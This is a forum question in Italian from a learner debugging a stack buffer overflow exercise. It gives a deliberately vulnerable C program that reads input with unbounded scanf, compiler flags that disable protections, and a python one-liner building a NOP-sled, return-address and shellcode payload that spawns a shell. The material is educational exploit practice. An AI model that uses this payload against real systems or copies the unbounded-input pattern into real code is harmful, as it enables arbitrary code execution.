Ho lavorato su un problema di overflow del buffer per circa un giorno, ho deciso di chiedere aiuto ai professionisti!
Questo buffer overflow utilizza la funzione "scanf" per accettare l'input dell'utente e passarlo a una funzione void chiamata validate!
Ora sono curioso di sapere perché quando di solito costruisco un payload sembra come questo
NOP's + "SHELLCODE+ RET
Ma con questo Puzzle sembra essere costruito così
NOP's + RET + SHELLCODE + NOP's
Ecco il codice attuale ... #payload 27_Bytes
python2 -c 'print "\x90"*132+"\xc8\xd8\xff\xff"+"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"+"D"*41'>buf_test
quindi eseguo:
run < buf_test
e ottengo sigfault all'indirizzo 0xffffd8fc non 0xffffd8c8 ma quando sostituisco il RET con \ x51 * 4 ottengo sigfault all'indirizzo x51. Inoltre, anche quando sovrascrivo perfettamente l'indirizzo di EIP, la mia shell non si apre ... SIGFAULTS al RET che ho fornito.
e quando disassegno quell'indirizzo al SIGFAULT vedo l'assemblaggio e lì circa 3-4 volte alcune funzioni sono etichettate BAD ...
Quindi la mia domanda è che questo ha a che fare con personaggi cattivi o ho appena sbagliato la struttura? Se è così esiste un modo migliore per capire la struttura oltre al mio metodo di prova ed errore? ... Forse i NOP dopo il codice della shell lo stanno rovinando? Non penso sia ... sto usando GDB, aggiornato ad Archlinux
Linux windows 4.14.15-1-ARCH #1 SMP PREEMPT Tue Jan 23 21:49:25 UTC 2018 x86_64 GNU/Linux
Metodo di compilazione:
gcc -m32 -fno-pie -no-pie -g bof.c -fno-stack-protector -z execstack -o bof32
GCC_VERSION:
gcc (GCC) 7.2.1 20180116
Codice sorgente vulnerabile:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void validate(char *pass) {
if (strcmp(pass, "[REDACTED]") == 0) {
printf("ACCESS GRANTED!");
printf("Oh that's just idio... Oh my god!\n");
} else {
printf("Damn it, I had something for this...\n");
}
}
int main(int argc, char** argv) {
char password[200];
printf("C:/ENTER PASSWORD: ");
scanf("%s", password);
validate(password);
return 0;
}
Per favore, qualsiasi aiuto sulla mia strada per l'apprendimento sarà molto apprezzato. Grazie in anticipo.